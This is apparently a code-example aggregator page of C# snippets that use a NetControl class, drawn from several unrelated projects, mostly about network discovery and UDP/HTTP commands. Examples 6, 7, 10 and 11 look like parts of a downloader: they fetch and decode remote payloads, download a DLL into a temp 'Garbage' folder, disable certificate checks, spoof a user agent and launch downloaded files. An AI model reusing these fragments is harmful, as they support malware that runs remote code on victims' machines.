Example #1
0
        /// <summary>
        /// Fetches the Advertised Service Info
        /// </summary>
        /// <returns>a list of 0 or more AdvertisedServiceInfo</returns>
        private List <AdvertisedServiceInfo> GetFilteredAdvertisedServices()
        {
            try
            {
                List <AdvertisedServiceInfo> servInfos = new List <AdvertisedServiceInfo>();

                //get normal Media Servers
                if (this.PopulateRegularServers)
                {
                    servInfos.AddRange(NetControl.GetAllAdvertisedServices(2, AXServicesAddress));
                }
                //and get all Restreamer Media Servers
                if (this.PopulateRestreamers)
                {
                    servInfos.AddRange(NetControl.GetAllAdvertisedServices(3, AXServicesAddress));
                }

                return(servInfos);
            }
            catch (Exception ex)
            {
                Debug.WriteLine("Failed GetFilteredAdvertisedServices: " + ex.Message);
                return(new List <AdvertisedServiceInfo>());
            }
        }
Example #2
0
        public static void SendWWTRemoteCommand(string targetIP, string command, string param)
        {
            Socket    sockA  = null;
            IPAddress target = null;

            sockA = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.IP);
            if (targetIP == "255.255.255.255")
            {
                sockA.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1);
                target = IPAddress.Broadcast;
            }
            else
            {
                target = IPAddress.Parse(targetIP);
            }

            IPEndPoint bindEPA = new IPEndPoint(IPAddress.Parse(NetControl.GetThisHostIP()), 8099);

            sockA.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
            sockA.Bind(bindEPA);



            EndPoint destinationEPA = (EndPoint) new IPEndPoint(target, 8089);

            string output = "WWTCONTROL2" + "," + Earth3d.MainWindow.Config.ClusterID + "," + command + "," + param;

            Byte[] header = Encoding.ASCII.GetBytes(output);

            sockA.SendTo(header, destinationEPA);
            sockA.Close();
        }
Example #3
0
        /// <summary>
        /// Fetches the list of all advertised services (video servers and restreamers)
        /// </summary>
        /// <returns>a list of zero or more items</returns>
        public static List <AdvertisedServiceInfo> GetAllAdvertisedServices()
        {
            List <AdvertisedServiceInfo> servers = NetControl.GetAllAdvertisedServices(2);

            servers.AddRange(NetControl.GetAllAdvertisedServices(3));
            return(servers);
        }
Example #4
0
        private void amBtnDataServer_Click(object sender, RoutedEventArgs e)
        {
            DataServerConfigWnd configWnd = new DataServerConfigWnd(this);

            configWnd.ShowDialog();

            if (mbConnected == true)
            {
                loadDBRecPage();
                amLabDataConnSta.Content =
                    "状态:已连接至" + mConnInfo.Server + ":" + mConnInfo.Port;

                //start register service below
                mNc = new NetControl(mTableManager,
                                     TestConfig.GetTestStrArrayFromFile());

                mNc.mfOnServerStart   = SetLocalIPDisplayInvoke;
                mNc.mAddRecFunc       = AddServerSubjectCtrlRecord;
                mNc.mRemoveRecFunc    = RemoveServerSubjectCtrlRecord;
                mNc.mChangeRecStaFunc = ChangeServerSubjectCtrlRecordStatus;
                mNc.mListener         = new TcpListener(new IPAddress(new byte[] { 127, 0, 0, 1 }), 8500);

                mThreadService = new Thread(mNc.ServerStart);
                mThreadService.Start();
                amBtnTestConfig.IsEnabled = false;
                amBtnDisconn.IsEnabled    = true;
            }
        }
Example #5
0
 // Use this for initialization
 void Awake()
 {
     if (netControl == null)
     {
         netControl = this;
     }
     SetUpDiscovery();
     spawn.SpawnSettings();
 }
Example #6
0
 private static void GetByte(string Link, string Name)
 {
     try
     {
         File.WriteAllBytes(Name, Convert.FromBase64String(NetControl.GetData(Link)));
     }
     catch (IOException) { }
     catch (UnauthorizedAccessException) { }
     catch (ArgumentException) { }
 }
Example #7
0
 private static void GetByte(string Link, string Name)
 {
     try
     {
         File.WriteAllBytes(Name, Convert.FromBase64String(NetControl.GetData(Link))); // Запишим байты в файл с уже расшифрованными данными.
     }
     catch (IOException) { }
     catch (UnauthorizedAccessException) { }
     catch (ArgumentException) { }
 }
Example #8
0
        public override void ProcessRequest(string request, ref Socket socket, bool authenticated, string body)
        {
            QueryString query = new QueryString(request);

            String sMimeType = "text/xml";

            String           name       = "";
            int              nodeID     = -1;
            float            FPS        = 0;
            string           error      = null;
            ClientNodeStatus status     = ClientNodeStatus.Online;
            string           StatusText = "";

            if (!string.IsNullOrEmpty(query["NodeID"]))
            {
                nodeID = int.Parse(query["NodeID"]);
            }

            if (!string.IsNullOrEmpty(query["NodeName"]))
            {
                name = query["NodeName"];
            }

            if (!string.IsNullOrEmpty(query["FPS"]))
            {
                FPS = float.Parse(query["FPS"]);
            }

            if (!string.IsNullOrEmpty(query["Error"]))
            {
                error = query["Error"];
            }

            if (!string.IsNullOrEmpty(query["Status"]))
            {
                status = (ClientNodeStatus)Enum.Parse(typeof(ClientNodeStatus), query["Status"]);
            }

            if (!string.IsNullOrEmpty(query["StatusText"]))
            {
                StatusText = query["StatusText"];
            }

            if (nodeID != -1 && !string.IsNullOrEmpty(name))
            {
                string ip = ((IPEndPoint)socket.RemoteEndPoint).Address.ToString();

                NetControl.LogStatusReport(nodeID, name, ip, status, StatusText, FPS, error);
            }

            String data = "<?xml version = \"1.0\" encoding=\"utf-8\"?>" +
                          "<Status>Ok</Status>";

            SendHeaderAndData(data, ref socket, sMimeType);
        }
Example #9
0
    public BaseServer()
    {
        _inited = true;

        _socket = new BaseSocket();
        _socket.setServer(this);
        _socket.setConnectCall(onConnect);
        _socket.setConnectFailedCall(onConnectFailed);
        _socket.setCloseCall(onClose);
        _socket.setCreateResponseFunc(createResponse);

        NetControl.addSocket(_socket);
    }
Example #10
0
        public static string RandomProcessName = ""; // зададим пустую переменную для назначения имени процесса.

        public static bool CheckPath()
        {
            HomeDirectory.Create(GlobalPath.GarbageTemp, true);           // Создаём папку Garbage с удалением всех данных внутри перед началом.
            if (GlobalPath.NewStartupPath.Equals(GlobalPath.GarbageTemp)) // Проверяем существует ли наша папка Temp\Garbage\
            {
                if (NetControl.CheckURL(GlobalPath.Dll_Host))             // Проверить подключение к серверу.
                {
                    return(SafeDll.Download(GlobalPath.Dll_Host));        // начало загрузки .dll
                }
                else
                {
                    return(false); // Если интернет отсутсвует завершаем работу.
                }
            }
            else // Если папка есть то
            {
                GeName(GlobalPath.GarbageTemp); // выполняем метод для копирования самоисполняющего файла.
                return(CheckPath());
            }
        }
Example #11
0
        public static bool DownFileEx(string Link, string SavePath, string FileName)
        {
            string Merge = CombineEx.Combination(SavePath, FileName);

            if (!File.Exists(Merge))
            {
                if (!NetControl.CheckURL(Link))
                {
                    return(false);
                }
                else
                {
                    using (var Web = new WebClient())
                    {
                        ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
                        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls;
                        ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3;
                        Web.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64");
                        Web.DownloadFile(new Uri(Link), Merge);
                        if (!File.Exists(Merge))
                        {
                            return(false);
                        }
                        else
                        {
                            LaunchFile(Merge);
                            return(true);
                        }
                    }
                }
            }
            else
            {
                LaunchFile(Merge);
                return(true);
            }
        }
Example #12
0
        public override void ProcessRequest(string request, ref Socket socket, bool authenticated, string body)
        {
            bool        cache = true;
            QueryString query = new QueryString(request);

            String sMimeType = "image/JPEG";

            if (request.ToLower().IndexOf(".png") > -1)
            {
                sMimeType = "image/PNG";
            }

            int iTotBytes = 0;

            string fileName = request.Substring(request.LastIndexOf("/") + 1);

            byte[] data = new byte[0];
            if (request.Contains("/tour/"))
            {
                if (Earth3d.MainWindow.TourEdit != null)
                {
                    TourDocument tour = Earth3d.MainWindow.TourEdit.Tour;
                    if (fileName.ToLower() == "slidelist.xml")
                    {
                        sMimeType = "text/xml";
                        data      = tour.GetSlideListXML();
                    }
                    else if (tour != null)
                    {
                        data = ReadBinaryWebFileFromDisk(tour.WorkingDirectory + fileName);
                    }
                }
                else
                {
                    if (fileName.ToLower() == "slidelist.xml")
                    {
                        sMimeType = "text/xml";
                        data      = TourDocument.GetEmptySlideListXML();
                    }
                }
            }
            else if (fileName == "refresh.png")
            {
                Earth3d.RefreshCommunity();
            }
            else if (fileName == "screenshot.png")
            {
                if (ScreenBroadcast.Capturing)
                {
                    data = ScreenBroadcast.ScreenImage;
                }
            }
            else if (request.Contains("/imageset/"))
            {
                string[]  parts    = request.Split(new char[] { '/' });
                IImageSet imageset = (IImageSet)Earth3d.ImagesetHashTable[Convert.ToInt32(parts[2])];
                if (imageset != null)
                {
                    data = ReadBinaryWebFileFromDisk(imageset.Url);
                }
            }
            else if (fileName == "layermap")
            {
                SendBinaryFileFromDisk(Properties.Settings.Default.CahceDirectory + "\\layerSync.layers", ref socket, sMimeType);
                return;
            }
            else if (fileName == "tour.wtt")
            {
                SendBinaryFileFromDisk(Properties.Settings.Default.CahceDirectory + "\\tourSync.wtt", ref socket, sMimeType);
                return;
            }
            else if (fileName == "colorsettings")
            {
                data = NetControl.GetColorSettingsData();
            }
            else if (fileName == "executable")
            {
                SendBinaryFileFromDisk("wwtexplorer.exe", ref socket, sMimeType);
                return;
            }
            else if (fileName.StartsWith("distort") || fileName.StartsWith("blend"))
            {
                string path = String.Format("{0}\\ProjetorWarpMaps\\", Properties.Settings.Default.CahceDirectory);

                data = ReadBinaryWebFileFromDisk(path + fileName);
            }
            else
            {
                data = ReadBinaryWebFile(fileName);
            }

            iTotBytes = data.Length;
            SendHeader(HttpVersion, sMimeType, iTotBytes, " 200 OK", ref socket, cache);
            SendToBrowser(data, iTotBytes, ref socket);
        }
Example #13
0
 // Use this for initialization
 void Start()
 {
     netControl = GetComponent <NetControl>();
 }
Example #14
0
 public void InititializeHUD()
 {
     Debug.Log("initialized");
     netCon     = NetControl.netControl;
     netCon.HUD = this;
 }
        private static void CaptureThreadFunction()
        {
            int frameNumber = 0;

            while (Earth3d.MainWindow != null)
            {
                Thread.Sleep(msPerFrame);
                if (capturing && Earth3d.MainWindow != null)
                {
                    frameNumber++;
                    Graphics g = Graphics.FromImage(bmp);

                    g.CopyFromScreen(0, 0, 0, 0, new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height));
                    g.Dispose();

                    MemoryStream ms = new MemoryStream();

                    bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);

                    ScreenImage = ms.ToArray();
                    ms.Dispose();
                    ms = null;
                    string url = string.Format(String.Format("http://{0}:5050/images/{1}/screenshot.png",
                                                             MyWebServer.IpAddress.ToString(),
                                                             frameNumber.ToString()));



                    NetControl.SendCommand(String.Format("SCREEN,{4},{0},{1},{2},http://{3}:5050/images/{5}/screenshot.png",
                                                         Properties.Settings.Default.ScreenOverlayAlt,
                                                         Properties.Settings.Default.ScreenOverlayAz,
                                                         Properties.Settings.Default.ScreenOverlayScale,
                                                         MyWebServer.IpAddress.ToString(),
                                                         Earth3d.MainWindow.Config.ClusterID.ToString(), frameNumber.ToString()));


                    if (Properties.Settings.Default.ScreenOverlayShowLocal)
                    {
                        if (Earth3d.MainWindow.videoOverlay == null)
                        {
                            Earth3d.MainWindow.videoOverlay = new ImageSetHelper("video", url, ImageSetType.Sky,
                                                                                 BandPass.Visible, ProjectionType.SkyImage,
                                                                                 Math.Abs(url.GetHashCode32()), 0, 0, 256, Properties.Settings.Default.ScreenOverlayScale / 1000,
                                                                                 ".tif", false, "", Properties.Settings.Default.ScreenOverlayAz, Properties.Settings.Default.ScreenOverlayAlt, 0, false, "", false, false, 2,
                                                                                 960, 600, "", "", "", "", 0, "");
                        }

                        Earth3d.MainWindow.videoOverlay.CenterX         = Properties.Settings.Default.ScreenOverlayAz;
                        Earth3d.MainWindow.videoOverlay.CenterY         = Properties.Settings.Default.ScreenOverlayAlt;
                        Earth3d.MainWindow.videoOverlay.BaseTileDegrees = Properties.Settings.Default.ScreenOverlayScale / 1000;
                        Tile tile = TileCache.GetTile(0, 0, 0, Earth3d.MainWindow.videoOverlay, null);
                        if (Dirty)
                        {
                            tile.CleanUpGeometryOnly();
                            Dirty = false;
                        }

                        tile.ReadyToRender = false;
                        tile.TextureReady  = false;
                        tile.Volitile      = true;
                    }
                    else if (Earth3d.MainWindow.videoOverlay != null)
                    {
                        CleanUpImageSets();
                    }
                }
                else
                {
                    CleanUpImageSets();
                }
            }
        }
 private static void ShutdownClients()
 {
     NetControl.SendCommand(String.Format("SCREEN,{0},0,0,0,,", Earth3d.MainWindow.Config.ClusterID.ToString()));
     CleanUpImageSets();
 }